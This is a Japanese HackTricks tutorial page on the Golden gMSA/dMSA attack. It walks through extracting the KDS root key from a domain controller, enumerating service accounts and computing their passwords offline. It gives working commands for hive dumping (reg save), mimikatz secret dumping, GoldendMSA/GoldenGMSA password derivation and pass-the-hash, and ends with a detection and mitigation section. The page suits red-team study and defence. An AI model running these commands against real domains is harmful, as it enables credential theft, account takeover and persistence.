Golden gMSA/dMSA攻撃(管理サービスアカウントパスワードのオフライン導出)
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
Windows Managed Service Accounts (MSA) は、パスワードを手動で管理することなくサービスを実行するために設計された特別なプリンシパルです。 主に2つのバリエーションがあります:
- gMSA – グループ管理サービスアカウント –
msDS-GroupMSAMembership
属性で承認された複数のホストで使用できます。 - dMSA – 委任管理サービスアカウント – gMSAの(プレビュー)後継で、同じ暗号技術に依存しながら、より細かい委任シナリオを可能にします。
両方のバリエーションにおいて、パスワードは通常のNTハッシュのように各ドメインコントローラー(DC)に保存されません。代わりに、各DCは以下から現在のパスワードを導出できます:
- フォレスト全体のKDSルートキー(
KRBTGT\KDS
) – ランダムに生成されたGUID名の秘密で、CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …
コンテナの下にあるすべてのDCに複製されます。 - 対象アカウントのSID。
msDS-ManagedPasswordId
属性に見つかるアカウントごとのManagedPasswordID(GUID)。
導出は次のようになります:AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )
→ 最終的にbase64エンコードされ、msDS-ManagedPassword
属性に保存される240バイトのブロブ。
通常のパスワード使用中はKerberosトラフィックやドメインの相互作用は必要なく、メンバーホストは3つの入力を知っている限り、ローカルでパスワードを導出します。
Golden gMSA / Golden dMSA攻撃
攻撃者がすべての3つの入力をオフラインで取得できれば、フォレスト内の任意のgMSA/dMSAのために有効な現在および将来のパスワードを計算でき、再度DCに触れることなく、以下を回避できます:
- LDAP読み取り監査
- パスワード変更間隔(事前に計算できます)
これはサービスアカウントのゴールデンチケットに類似しています。
前提条件
- 1つのDC(またはエンタープライズ管理者)のフォレストレベルの侵害、またはフォレスト内のDCの1つへの
SYSTEM
アクセス。 - サービスアカウントを列挙する能力(LDAP読み取り / RIDブルートフォース)。
GoldenDMSA
または同等のコードを実行するための.NET ≥ 4.7.2 x64ワークステーション。
Golden gMSA / dMSA
フェーズ1 – KDSルートキーの抽出
任意のDCからダンプ(ボリュームシャドウコピー / 生のSAM+SECURITYハイブまたはリモートシークレット):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
RootKey
(GUID名)とラベル付けされたbase64文字列は、後のステップで必要です。
フェーズ2 – gMSA / dMSAオブジェクトの列挙
少なくともsAMAccountName
、objectSid
、およびmsDS-ManagedPasswordId
を取得します:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA
はヘルパーモードを実装しています:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
フェーズ 3 – ManagedPasswordID を推測 / 発見する (欠落している場合)
一部のデプロイメントでは、msDS-ManagedPasswordId
を ACL 保護された読み取りから 除去 します。
GUID は 128 ビットであるため、単純なブルートフォースは実行不可能ですが、次のことが言えます:
- 最初の 32 ビット = アカウント作成の Unix エポック時間 (分単位の解像度)。
- 続いて 96 ビットのランダムなビット。
したがって、アカウントごとの狭い単語リスト (± 数時間) は現実的です。
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
ツールは候補パスワードを計算し、それらのbase64ブロブを実際のmsDS-ManagedPassword
属性と比較します – 一致が正しいGUIDを明らかにします。
フェーズ 4 – オフラインパスワード計算と変換
ManagedPasswordIDが知られると、有効なパスワードは1コマンドの距離にあります:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
結果として得られるハッシュは、mimikatz(sekurlsa::pth
)やRubeusを使用してKerberosの悪用に注入でき、ステルスな横移動と持続性を可能にします。
検出と緩和
- DCバックアップおよびレジストリハイブの読み取り機能をTier-0管理者に制限します。
- DCでのディレクトリサービス復元モード(DSRM)またはボリュームシャドウコピーの作成を監視します。
CN=Master Root Keys,…
およびサービスアカウントのuserAccountControl
フラグの読み取り/変更を監査します。- 異常なbase64パスワードの書き込みや、ホスト間での突然のサービスパスワードの再利用を検出します。
- Tier-0の隔離が不可能な場合、高特権gMSAをクラシックサービスアカウントに変換し、定期的なランダムローテーションを検討します。
ツール
Semperis/GoldenDMSA
– このページで使用される参照実装。Semperis/GoldenGMSA
– このページで使用される参照実装。mimikatz
–lsadump::secrets
、sekurlsa::pth
、kerberos::ptt
。Rubeus
– 派生AESキーを使用したパス・ザ・チケット。
参考文献
- Golden dMSA – 委任された管理サービスアカウントの認証バイパス
- gMSA Active Directory攻撃アカウント
- Semperis/GoldenDMSA GitHubリポジトリ
- Improsec – Golden gMSA信頼攻撃
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。